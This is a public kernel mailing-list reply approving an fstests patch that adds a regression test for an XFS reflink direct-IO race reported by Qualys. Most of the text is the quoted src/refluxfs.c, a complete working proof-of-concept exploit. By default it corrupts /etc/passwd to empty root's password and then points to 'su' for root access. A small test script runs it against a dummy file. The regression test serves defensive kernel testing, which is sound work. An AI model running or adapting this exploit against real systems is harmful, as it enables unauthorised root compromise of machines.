From: Zorro Lang <zlang@kernel.org>
To: "Darrick J. Wong" <djwong@kernel.org>
Cc: hch@lst.de, qsa@qualys.com, linux-xfs@vger.kernel.org,
fstests@vger.kernel.org
Subject: Re: [PATCH 1/4] generic: regression test for refluxfs fixes
Date: Thu, 8 Oct 2026 22:45:34 +0800 [thread overview]
Message-ID: <asesddimkEOoiT51@zlang-mailbox> (raw)
In-Reply-To: <179060965787.790984.8782130830173642834.stgit@frogsfrogsfrogs>
On Mon, Sep 28, 2026 at 08:36:11AM -0700, Darrick J. Wong wrote:
> From: Darrick J. Wong <djwong@kernel.org>
>
> Regression test for refluxfs as found by Qualys.
>
> Reported-by: qsa@qualys.com
> Co-developed-by: qsa@qualys.com
> Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
> Reviewed-by: Christoph Hellwig <hch@lst.de>
> ---
Thanks Darrick, this version is good to me!
Reviewed-by: Zorro Lang <zlang@kernel.org>
> .gitignore | 1
> src/Makefile | 2
> src/refluxfs.c | 435 ++++++++++++++++++++++++++++++++++++++++++++++++
> tests/generic/1956 | 58 ++++++
> tests/generic/1956.out | 2
> 5 files changed, 497 insertions(+), 1 deletion(-)
> create mode 100644 src/refluxfs.c
> create mode 100755 tests/generic/1956
> create mode 100644 tests/generic/1956.out
>
>
> diff --git a/.gitignore b/.gitignore
> index d52ba4ad30852b..b5d85c9451f0a8 100644
> --- a/.gitignore
> +++ b/.gitignore
> @@ -126,6 +126,7 @@ tags
> /src/pwrite_mmap_blocked
> /src/randholes
> /src/readdir-while-renames
> +/src/refluxfs
> /src/rename
> /src/renameat2
> /src/resvtest
> diff --git a/src/Makefile b/src/Makefile
> index 0ff607ae15930d..04a73b76546241 100644
> --- a/src/Makefile
> +++ b/src/Makefile
> @@ -36,7 +36,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
> fscrypt-crypt-util bulkstat_null_ocount splice-test chprojid_fail \
> detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe \
> uuid_ioctl t_snapshot_deleted_subvolume fiemap-fault min_dio_alignment \
> - rw_hint btrfs_ioctl
> + rw_hint btrfs_ioctl refluxfs
>
> EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
> btrfs_crc32c_forged_name.py popdir.pl popattr.py \
> diff --git a/src/refluxfs.c b/src/refluxfs.c
> new file mode 100644
> index 00000000000000..f2d4402a940a80
> --- /dev/null
> +++ b/src/refluxfs.c
> @@ -0,0 +1,435 @@
> +/* refluxfs.c -- RefluXFS PoC (CVE-2026-XXXXX)
> + *
> + * This PoC targets /etc/passwd (always world-readable, arch-independent, easy
> + * to verify and revert). It never opens the target for write; the corrupting
> + * DIO is issued against the attacker-owned CLONE, whose stale imap points at
> + * the target's block. Before racing, it saves a full BYTE-COPY backup of the
> + * target (read/write -- never reflink, so it takes no refcount on the block).
> + * On success it leaves /etc/passwd modified so you can `su` (empty password),
> + * confirm uid=0, and restore from the backup.
> + *
> + * Build: cc -O2 -pthread -o refluxfs refluxfs.c
> + * Run: ./refluxfs # zero-arg defaults; safe to Ctrl-C
> + *
> + * Exit: 0 vulnerable (race fired; target left modified, backup saved)
> + * 1 precondition unmet, or runtime error (with a specific reason)
> + * 2 race did not fire (budget exhausted or interrupted)
> + */
> +#ifndef _GNU_SOURCE
> +#define _GNU_SOURCE
> +#endif
> +#include <stdio.h>
> +#include <stdlib.h>
> +#include <string.h>
> +#include <fcntl.h>
> +#include <pthread.h>
> +#include <unistd.h>
> +#include <errno.h>
> +#include <signal.h>
> +#include <stdarg.h>
> +#include <stdint.h>
> +#include <time.h>
> +#include <sys/ioctl.h>
> +#include <sys/utsname.h>
> +#include <sys/stat.h>
> +#include <sys/vfs.h>
> +#include <linux/fs.h>
> +#include <linux/magic.h>
> +#include <linux/fiemap.h>
> +#include <stdatomic.h>
> +
> +#ifndef FICLONE
> +#define FICLONE _IOW(0x94, 9, int)
> +#endif
> +
> +/* original PoC assumed 4k fsblocks, but use 64k to cover more fs geometries */
> +#define BLK 65536
> +
> +/* ---- configuration (overridable via CLI) --------------------------------- */
> +static const char *target_path = "/etc/passwd";
> +static const char *clone_dir = "/var/tmp";
> +static int nr_writers = 32;
> +static int nr_pressure = 8;
> +static int budget_s = 300;
> +
> +/* ---- state --------------------------------------------------------------- */
> +static char workdir[512], clone_path[600], backup_path[600];
> +static int target_fd_ro = -1;
> +static unsigned char golden[BLK]; /* first block of target, verbatim */
> +static ssize_t golden_len; /* == min(i_size, BLK) */
> +static unsigned char *dio_buf; /* BLK-aligned; every writer pwrites */
> +static int keep_backup; /* set on success; gates atexit() */
> +static atomic_int sigint; /* set by handler; read only by main */
> +static atomic_int stop; /* set by main; read by threads */
> +static long rounds;
> +static pthread_barrier_t bar;
> +
> +/* ---- helpers ------------------------------------------------------------- */
> +__attribute__((format(printf, 2, 3)))
> +static void say(const char *tag, const char *fmt, ...)
> +{
> + va_list ap; va_start(ap, fmt);
> + fprintf(stderr, "[%s] ", tag);
> + vfprintf(stderr, fmt, ap);
> + fprintf(stderr, "\n");
> + va_end(ap);
> +}
> +#define OK(...) say("+", __VA_ARGS__)
> +#define BAD(...) say("!", __VA_ARGS__)
> +#define INFO(...) say("*", __VA_ARGS__)
> +
> +static void die(int code, const char *why, const char *hint)
> +{
> + BAD("%s: %s", why, strerror(errno));
> + if (hint) INFO("%s", hint);
> + exit(code);
> +}
> +
> +static void on_signal(int sig)
> +{
> + (void)sig;
> + atomic_store(&sigint, 1);
> +}
> +
> +/* Registered with atexit() as soon as workdir exists; runs on every exit
> + * path (die(), preflight refusal, timeout, success). Always removes clone
> + * and pressure files; removes backup + workdir unless the run succeeded. */
> +static void cleanup(void)
> +{
> + unlink(clone_path);
> + for (int i = 0; i < nr_pressure; i++) {
> + char p[600]; snprintf(p, sizeof p, "%s/press.%d", workdir, i); unlink(p);
> + }
> + if (!keep_backup) {
> + unlink(backup_path);
> + rmdir(workdir);
> + }
> +}
> +
> +/* ---- preflight ----------------------------------------------------------- */
> +
> +static int same_fs(const char *a, const char *b)
> +{
> + struct stat sa, sb;
> + if (stat(a, &sa) || stat(b, &sb)) return -1;
> + return sa.st_dev == sb.st_dev;
> +}
> +
> +/* FIEMAP: is the target's first extent already shared (refcount > 1)?
> + * If so the race can never see refcount==1. */
> +static int target_first_extent_shared(void)
> +{
> + union {
> + struct fiemap fm;
> + char raw[sizeof(struct fiemap) + sizeof(struct fiemap_extent)];
> + } q;
> + memset(&q, 0, sizeof q);
> + q.fm.fm_length = BLK;
> + q.fm.fm_flags = FIEMAP_FLAG_SYNC;
> + q.fm.fm_extent_count = 1;
> + if (ioctl(target_fd_ro, FS_IOC_FIEMAP, &q) < 0) return -1; /* unknown */
> + if (q.fm.fm_mapped_extents < 1) return -1;
> + return (q.fm.fm_extents[0].fe_flags & FIEMAP_EXTENT_SHARED) ? 1 : 0;
> +}
> +
> +static void preflight(void)
> +{
> + struct stat st;
> +
> + /* 1. target readable */
> + target_fd_ro = open(target_path, O_RDONLY);
> + if (target_fd_ro < 0)
> + die(1, "open target O_RDONLY",
> + "Target must be world-readable. /etc/passwd is on every distro.");
> + if (fstat(target_fd_ro, &st)) die(1, "fstat target", NULL);
> + golden_len = pread(target_fd_ro, golden, BLK, 0);
> + if (golden_len < 0) die(1, "read target", NULL);
> + OK("target %s: readable, %lld bytes (using first %zd)",
> + target_path, (long long)st.st_size, golden_len);
> + if (st.st_blksize != BLK)
> + INFO("note: st_blksize=%ld != %d -- this PoC assumes 4K fs blocks "
> + "and may false-negative otherwise.", (long)st.st_blksize, BLK);
> +
> + /* We only assume line 1 is `root:x:...` -- universal on shadow-using Linux.
> + * `root::...` means a previous run already emptied the password field. */
> + if (golden_len >= 6 && !memcmp(golden, "root::", 6)) {
> + BAD("target line 1 already has an empty password field (root::).");
> + INFO("A previous run left it modified. Restore first (as root, or `su`):");
> + INFO(" dd if=%s/.refluxfs-%d-PID/target.orig of=%s",
> + clone_dir, (int)getuid(), target_path);
> + INFO("(ls -d %s/.refluxfs-%d-* to find the right PID directory;",
> + clone_dir, (int)getuid());
> + INFO(" use dd -- cp, and recent coreutils cat, may reflink.)");
> + exit(1);
> + }
> + if (golden_len < 8 || memcmp(golden, "root:x:", 7) ||
> + !memchr(golden, '\n', golden_len)) {
> + BAD("target line 1 is not \"root:x:...\\n\" -- unexpected format.");
> + INFO("This PoC's payload assumes the standard shadow-backed root entry.");
> + INFO("Use -t to point at a different target or adjust the payload.");
> + exit(1);
> + }
> +
> + /* 3. clone_dir on the same superblock */
> + if (access(clone_dir, W_OK)) die(1, "clone dir not writable",
> + "Need a writable directory on the SAME XFS filesystem as the target.");
> + int s = same_fs(target_path, clone_dir);
> + if (s < 0) die(1, "stat clone dir", NULL);
> + if (!s) {
> + BAD("clone dir %s is NOT on the same filesystem as %s (st_dev differs).",
> + clone_dir, target_path);
> + INFO("FICLONE returns -EXDEV across superblocks. Use -d with a writable");
> + INFO("directory on the target's mount (findmnt -T %s).", target_path);
> + exit(1);
> + }
> + OK("clone dir %s: writable, same st_dev as target", clone_dir);
> +
> + /* 4. workdir */
> + snprintf(workdir, sizeof workdir, "%s/.refluxfs-%d-%d",
> + clone_dir, (int)getuid(), (int)getpid());
> + if (mkdir(workdir, 0700) && errno != EEXIST)
> + die(1, "mkdir workdir", NULL);
> + snprintf(clone_path, sizeof clone_path, "%s/clone", workdir);
> + snprintf(backup_path, sizeof backup_path, "%s/target.orig", workdir);
> + atexit(cleanup); /* every exit() from here on cleans workdir */
> +
> + /* Full BYTE-COPY backup of target (read/write, never FICLONE/
> + * copy_file_range -- must not take a refcount on the target's block). */
> + {
> + int bfd = open(backup_path, O_WRONLY|O_CREAT|O_TRUNC, 0600);
> + if (bfd < 0) die(1, "open backup", NULL);
> + unsigned char buf[8192]; ssize_t n; off_t off = 0;
> + while ((n = pread(target_fd_ro, buf, sizeof buf, off)) > 0) {
> + if (write(bfd, buf, n) != n) die(1, "write backup", NULL);
> + off += n;
> + }
> + if (n < 0) die(1, "read target for backup", NULL);
> + fsync(bfd); close(bfd);
> + OK("workdir %s", workdir);
> + OK("backup %s (%lld bytes, byte-copy -- no reflink taken)",
> + backup_path, (long long)off);
> + }
> +
> + /* 5. abort if target's first extent is already shared (checked BEFORE we
> + * FICLONE ourselves and create a share). */
> + int sh = target_first_extent_shared();
> + if (sh == 1) {
> + BAD("target's first extent is ALREADY SHARED (FIEMAP_EXTENT_SHARED).");
> + INFO("The race needs refcount(X) to drop to exactly 1; a pre-existing");
> + INFO("reflink (e.g. `cp --reflink=auto` backup, coreutils >= 9.0 default)");
> + INFO("keeps it >= 2 and the race can never fire. Reset primitive:");
> + INFO(" chsh -s /usr/bin/bash");
> + INFO(" (or `-s /bin/bash` if that says 'Shell not changed.'; on");
> + INFO(" RHEL-family, chsh is in the optional util-linux-user pkg)");
> + INFO("This rewrites /etc/passwd via rename(2) as a fresh unshared inode.");
> + exit(1);
> + } else if (sh == 0) {
> + OK("target's first extent is not pre-shared (refcount==1)");
> + } else {
> + INFO("cannot determine sharing state via FIEMAP -- proceeding.");
> + }
> +
> + /* 6. FICLONE actually works (=> reflink=1) */
> + int c = open(clone_path, O_RDWR|O_CREAT|O_TRUNC, 0600);
> + if (c < 0) die(1, "open clone", NULL);
> + if (ioctl(c, FICLONE, target_fd_ro) < 0) {
> + int e = errno;
> + BAD("FICLONE(clone <- target) failed: %s", strerror(e));
> + if (e == EOPNOTSUPP)
> + INFO("This XFS was made with reflink=0 (xfsprogs < 5.1.0 or explicit).");
> + else if (e == EXDEV)
> + INFO("Different filesystem after all -- pick another -d directory.");
> + close(c);
> + exit(1);
> + }
> + close(c);
> + OK("FICLONE works -- filesystem has reflink=1");
> +
> + /* 7. O_DIRECT open + one aligned pwrite actually work. All writers share
> + * this one buffer -- payload never changes and pwrite() only reads it. */
> + if ((errno = posix_memalign((void **)&dio_buf, BLK, BLK)))
> + die(1, "posix_memalign", NULL);
> + memset(dio_buf, 0, BLK);
> + c = open(clone_path, O_RDWR|O_DIRECT);
> + if (c < 0) die(1, "open clone O_DIRECT",
> + "O_DIRECT is required to reach xfs_direct_write_iomap_begin().");
> + if (pwrite(c, dio_buf, BLK, 0) != BLK)
> + die(1, "O_DIRECT pwrite (alignment?)",
> + "This PoC assumes 4K DIO alignment (default on all target distros).");
> + close(c);
> + OK("O_DIRECT open + %d-byte aligned pwrite work on clone", BLK);
> +}
> +
> +/* ---- race machinery ------------------------------------------------------ */
> +
> +static int reclone(void)
> +{
> + int c = open(clone_path, O_RDWR|O_CREAT|O_TRUNC, 0600);
> + if (c < 0) return -errno;
> + int r = ioctl(c, FICLONE, target_fd_ro) < 0 ? -errno : 0;
> + close(c);
> + return r;
> +}
> +
> +static int target_changed(void)
> +{
> + unsigned char b[BLK] = {0};
> + /* DIO landed on disk under a different address_space; drop the target's
> + * (stale, clean) cached page so we re-read from disk. */
> + posix_fadvise(target_fd_ro, 0, 0, POSIX_FADV_DONTNEED);
> + ssize_t n = pread(target_fd_ro, b, golden_len, 0);
> + return n == golden_len && memcmp(b, golden, golden_len) != 0;
> +}
> +
> +static void *writer(void *arg)
> +{
> + (void)arg;
> + for (;;) {
> + pthread_barrier_wait(&bar); /* start of round */
> + if (atomic_load(&stop)) break; /* set only by main, only when
> + * every writer is parked here */
> + int fd = open(clone_path, O_RDWR|O_DIRECT);
> + if (fd >= 0) { (void)!pwrite(fd, dio_buf, BLK, 0); close(fd); }
> + pthread_barrier_wait(&bar); /* end of round */
> + }
> + return NULL;
> +}
> +
> +static void *pressure(void *arg)
> +{
> + char p[600];
> + snprintf(p, sizeof p, "%s/press.%d", workdir, (int)(intptr_t)arg);
> + int fd = open(p, O_RDWR|O_CREAT|O_TRUNC, 0600);
> + if (fd < 0) return NULL;
> + char b = 0;
> + while (!atomic_load(&stop)) {
> + /* return values irrelevant -- goal is XFS log traffic, not the data */
> + (void)!pwrite(fd, &b, 1, 0);
> + (void)!ftruncate(fd, BLK);
> + fdatasync(fd);
> + (void)!ftruncate(fd, 0);
> + }
> + close(fd);
> + return NULL;
> +}
> +
> +/* ---- main ---------------------------------------------------------------- */
> +
> +static void usage(const char *argv0)
> +{
> + fprintf(stderr,
> + "usage: %s [-t target] [-d clone-dir] [-s seconds] [-w writers] [-p pressure]\n"
> + " -t target file (default /etc/passwd; line 1 must be root:x:...)\n"
> + " -d clone/work directory (default /var/tmp; must be writable, same XFS as -t)\n"
> + " -s budget in seconds (default 300)\n"
> + " -w concurrent DIO writers (default 32)\n"
> + " -p log-pressure threads (default 8)\n",
> + argv0);
> +}
> +
> +int main(int argc, char **argv)
> +{
> + int opt;
> + while ((opt = getopt(argc, argv, "t:d:s:w:p:h")) != -1) switch (opt) {
> + case 't': target_path = optarg; break;
> + case 'd': clone_dir = optarg; break;
> + case 's': budget_s = atoi(optarg); if (budget_s < 1) budget_s = 1; break;
> + case 'w': nr_writers = atoi(optarg); if (nr_writers < 2) nr_writers = 2; break;
> + case 'p': nr_pressure = atoi(optarg); if (nr_pressure < 0) nr_pressure = 0; break;
> + default: usage(argv[0]); return 1;
> + }
> +
> + struct utsname un;
> + uname(&un);
> + INFO("RefluXFS PoC -- kernel %s", un.release);
> +
> + /* Install handlers BEFORE preflight so Ctrl-C after workdir/clone creation
> + * still reaches atexit(cleanup) instead of leaving a reflinked clone (which
> + * would keep the target's extent SHARED and defeat every later run). */
> + signal(SIGINT, on_signal);
> + signal(SIGTERM, on_signal);
> +
> + preflight();
> +
> + /* Payload: surgical edit of line 1 only. `root:x:...\n` -> `root::...\n\n`.
> + * Shift the byte range [6, nl] one position left over the `x`; the
> + * original `\n` at position nl is untouched, so we get two consecutive
> + * newlines and every byte from line 2 onward stays at its ORIGINAL
> + * offset -- correct for any file size, no entry straddles a boundary. */
> + memcpy(dio_buf, golden, golden_len);
> + ssize_t nl = 0;
> + while (nl < golden_len && golden[nl] != '\n') nl++;
> + memmove(dio_buf + 5, dio_buf + 6, (size_t)nl - 5); /* nl>=7 by preflight */
> +
> + /* threads */
> + if ((errno = pthread_barrier_init(&bar, NULL, nr_writers + 1)))
> + die(1, "pthread_barrier_init", NULL);
> + pthread_t *tw = calloc(nr_writers, sizeof *tw);
> + pthread_t *tp = calloc(nr_pressure ? nr_pressure : 1, sizeof *tp);
> + if (!tw || !tp) { BAD("calloc: out of memory"); exit(1); }
> + for (int i = 0; i < nr_writers; i++)
> + if ((errno = pthread_create(&tw[i], NULL, writer, NULL)))
> + die(1, "pthread_create writer", NULL);
> + for (int i = 0; i < nr_pressure; i++)
> + if ((errno = pthread_create(&tp[i], NULL, pressure, (void*)(intptr_t)i)))
> + die(1, "pthread_create pressure", NULL);
> +
> + /* Race: reclone -> release all writers -> check target -> repeat. */
> + INFO("racing: %d writers + %d log-pressure threads, up to %ds ...",
> + nr_writers, nr_pressure, budget_s);
> + struct timespec t0, t; clock_gettime(CLOCK_MONOTONIC, &t0);
> + int rc = 2, e;
> + while (!atomic_load(&sigint)) {
> + if ((e = reclone()) < 0) {
> + fprintf(stderr, "\n");
> + BAD("reclone: %s", strerror(-e));
> + rc = 1; break;
> + }
> + rounds++;
> + pthread_barrier_wait(&bar); /* release writers */
> + pthread_barrier_wait(&bar); /* writers done */
> + if (target_changed()) { rc = 0; break; }
> + clock_gettime(CLOCK_MONOTONIC, &t);
> + long el = t.tv_sec - t0.tv_sec;
> + if (el >= budget_s) break;
> + if ((rounds & 0xff) == 0)
> + fprintf(stderr, "\r round %ld (%lds, ~%ld r/s) ",
> + rounds, el, el ? rounds/el : rounds);
> + }
> + fprintf(stderr, "\n");
> +
> + /* Shutdown. Every path out of the loop above leaves each writer either
> + * already at (or on its way to) the start-barrier -- the loop never breaks
> + * between the two barrier_wait()s, and writers only test `stop`, which is
> + * still 0. Set `stop` now, cross the start-barrier once to release them;
> + * they observe `stop` immediately after and exit without a second wait. */
> + atomic_store(&stop, 1);
> + pthread_barrier_wait(&bar);
> + for (int i = 0; i < nr_writers; i++) pthread_join(tw[i], NULL);
> + for (int i = 0; i < nr_pressure; i++) pthread_join(tp[i], NULL);
> + free(tw); free(tp);
> +
> + if (rc == 0) {
> + keep_backup = 1; /* atexit(cleanup) leaves backup + workdir */
> + char now[96] = {0};
> + if (pread(target_fd_ro, now, sizeof now - 1, 0) > 0)
> + for (char *q = now; *q; q++) if (*q == '\n') { *q = 0; break; }
> + BAD("=========================================================");
> + BAD("VULNERABLE -- %s block 0 overwritten via stale-imap DIO", target_path);
> + BAD("first line is now: %s", now);
> + BAD("hit at round %ld", rounds);
> + BAD("=========================================================");
> + fprintf(stderr, "\n");
> + INFO("Confirm: su (empty password -> `id` shows uid=0)");
> + INFO("Restore: # dd if=%s of=%s", backup_path, target_path);
> + INFO(" (as root; dd is read/write. Do NOT use cp or cat: cp");
> + INFO(" reflinks via FICLONE by default (>=9.0), and recent");
> + INFO(" coreutils cat uses copy_file_range() which also");
> + INFO(" reflinks -- either would leave the target SHARED.)");
> + } else if (rc == 2) {
> + OK("race did not fire in %ld rounds.", rounds);
> + if (!atomic_load(&sigint))
> + INFO("Kernel is likely PATCHED (or window too tight -- retry with larger -s / -w).");
> + }
> + return rc;
> +}
> diff --git a/tests/generic/1956 b/tests/generic/1956
> new file mode 100755
> index 00000000000000..bc926e4685408e
> --- /dev/null
> +++ b/tests/generic/1956
> @@ -0,0 +1,58 @@
> +#! /bin/bash
> +# SPDX-License-Identifier: GPL-2.0
> +# Copyright (c) 2026 Oracle. All Rights Reserved.
> +#
> +# FS QA Test No. 1956
> +#
> +# Regression test for refluxfs, which is an exploit for a race condition in
> +# XFS' directio copy-on-write code that can be used to rewrite shared blocks
> +# to gain root privileges.
> +#
> +. ./common/preamble
> +_begin_fstest auto rw clone
> +
> +_cleanup()
> +{
> + cd /
> + rm -r -f $tmp.*
> + test -n "$dummydir" && rm -r -f "$dummydir"
> +}
> +
> +. ./common/reflink
> +
> +_require_test_program "refluxfs"
> +_require_test_reflink
> +_require_odirect
> +_require_user fsgqa
> +_require_group fsgqa
> +
> +_fixed_by_fs_commit xfs 2f4acd0fcd862e \
> + "xfs: resample the data fork mapping after cycling ILOCK"
> +
> +dummydir="$TEST_DIR/$seq"
> +
> +rm -r -f "$dummydir"
> +mkdir "$dummydir"
> +
> +fakedata="root:x:0:0:root:/root:/bin/bash"
> +echo "$fakedata" > $dummydir/datafile
> +
> +# Try to trick the system into letting a different user make a reflink copy of
> +# the data file and rewrite the shared data block to corrupt the contents.
> +mkdir $dummydir/workdir
> +chown $qa_user:$qa_group $dummydir/workdir
> +_su $qa_user -c "$here/src/refluxfs -t $dummydir/datafile -d $dummydir/workdir -s $((30 * TIME_FACTOR))" &>> $seqres.full
> +res=$?
> +case "$res" in
> +0) echo "vulnerable to corruption";;
> +1) echo "runtime error";;
> +2) echo "corruption not observed";;
> +*) echo "unknown outcome $res";;
> +esac
> +
> +result="$(cat $dummydir/datafile)"
> +test "$result" != "$fakedata" && \
> + echo "shared data block rewritten, you have been pwned!"
> +
> +# success, all done
> +_exit 0
> diff --git a/tests/generic/1956.out b/tests/generic/1956.out
> new file mode 100644
> index 00000000000000..55d8be979b1486
> --- /dev/null
> +++ b/tests/generic/1956.out
> @@ -0,0 +1,2 @@
> +QA output created by 1956
> +corruption not observed
>
next prev parent reply other threads:[~2026-10-08 14:45 UTC|newest]
Thread overview: 11+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-09-28 15:36 [PATCHSET] fstests: new tests for old features Darrick J. Wong
2026-09-28 15:36 ` [PATCH 1/4] generic: regression test for refluxfs fixes Darrick J. Wong
2026-10-08 14:45 ` Zorro Lang [this message]
2026-09-28 15:36 ` [PATCH 2/4] common/xfs: add zoned/rtstart info to mkfs filter output Darrick J. Wong
2026-10-01 12:27 ` Andrey Albershteyn
2026-10-05 12:57 ` Christoph Hellwig
2026-10-08 14:47 ` Zorro Lang
2026-09-28 15:36 ` [PATCH 3/4] xfs: basic functional testing of media verification command Darrick J. Wong
2026-10-01 12:44 ` Andrey Albershteyn
2026-10-05 12:57 ` Christoph Hellwig
2026-09-28 15:36 ` [PATCH 4/4] xfs: test mkfs.xfs config file generation Darrick J. Wong
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=asesddimkEOoiT51@zlang-mailbox \
--to=zlang@kernel.org \
--cc=djwong@kernel.org \
--cc=fstests@vger.kernel.org \
--cc=hch@lst.de \
--cc=linux-xfs@vger.kernel.org \
--cc=qsa@qualys.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox